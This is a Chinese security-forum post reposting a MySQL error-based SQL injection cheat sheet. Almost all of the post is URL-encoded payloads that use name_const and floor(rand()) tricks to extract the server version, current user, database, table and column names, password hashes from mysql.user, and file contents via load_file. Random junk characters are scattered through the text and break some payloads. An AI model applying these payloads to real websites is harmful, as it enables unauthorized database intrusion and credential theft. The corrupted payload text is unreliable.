找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2339|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑   n* a6 b$ M6 ~. Z$ B

/ t, S3 \) {$ u' G1 E; G  D2 v* r( B' E0 v7 m2 `
Mysql暴错注入参考(pdf),每天一贴。。。( u+ F# l8 V% T# F* K. H' k- g
' {8 R: ]; o& e  F1 c
MySql Error Based Injection Reference8 E" p* Z8 i2 T
[Mysql暴错注入参考]( ^9 |7 v- U' _' x
Authornig0s1992% o4 ^' w8 p" e8 K3 r# c
Blog:http://pnig0s1992.blog.51cto.com/
( m2 C% c& O5 S3 g% Q8 dTeAm:http://www.FreeBuf.com/
; ]# `! I/ F$ [. t6 MMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功  G9 U3 o1 L& y+ s" v8 q
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
: G' o: C* O$ y+ \/ E' c+ B, D) ]查询版本:
$ o2 c3 }8 U# l! h0 e! r+ K! {Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+: k" S1 `; |$ V6 \+ Y# k
join+(select+name_const(@@version,0))b)c)
* e  }" Y: _5 p, m9 VMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
  \" o8 n; q" G4 Q: mup by a)b)
' I# |9 r0 h" L& e% K查询当前用户:  z6 |. h3 B3 N) k+ ~- A0 ]& z/ S
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)/ t! f- g/ _* Q- \, T1 s% N
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
9 r7 l/ O* i! q) }( j0 Gand(0)*2))x+from+information_schema.tables+group+by+x)a)2 ]% @4 u6 T6 S4 L) v2 T) O' u
查询当前数据库:& U$ W  Z! O8 Q  m$ ^% z
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
( ?& B4 q; [' f& jMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo* @; R2 W9 S9 C5 R& w; Q
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)- Z' p" P( V# Q% W9 ~# g  x
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
" A: ^* A$ \; M8 bLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
; S  d3 X4 P8 G: \% b6 y# Z顺序替换
! k8 {# j/ g3 ~, g爆指定库数目:
) X2 a; D6 S) p  w/ hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
* x( _: P8 `( U% y- y% S5 |able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group* e+ J$ r% V1 [+ `/ c
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 x  _/ p2 D% o" L1 V依次爆表:
6 {  y8 h0 K1 ~. O+ cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
$ r  E6 j4 n6 B, n8 N0 b; Kable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
# b( D  P# x" o) ibles+group+by+x)a)+and+1=13 X/ d9 @3 e" r8 E# }) a
0x6D7973716C=Mysql 将n顺序替换
; n) D1 U( l9 P+ {7 X爆表内字段数目:
; E6 v# u4 g) r5 p1 {8 `and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
! b4 ]5 T) }. F- w7 g5 x+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran* {: @$ x: n1 F( a& S  W
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
1 H6 h8 ~' Q( t3 S4 k依次爆字段:8 |$ u  z0 @$ l6 {5 W8 p: c
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where3 K7 n: H" p% c  G, u/ s
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1" _$ i5 ]9 {$ G& ]
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
/ h4 ^1 G. M. N- q8 H6 n4 H$ U) K依次暴内容:1 c5 S4 k( J9 K4 G  L" L7 s
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche- W2 Z" J, D3 b$ y  O0 ?/ b
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1+ G/ t& j; T, p4 q  q. n
将n顺序替换
, K. E; x- @4 s: N爆文件内容:
4 n8 |- i1 V" Pand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
6 {6 f. F* k! ^. Wfrom+information_schema.tables+group+by+a)b)
0 I- r0 x- M  W6 c) t0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节3 P3 j' Z" [0 A- H! P
Thx for reading./ A/ q) h2 K% p# V3 P# V2 F
& j' \9 d) j" w8 a; }
不要下载也可以,
1 `) l  S! e; f! W8 K( U

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表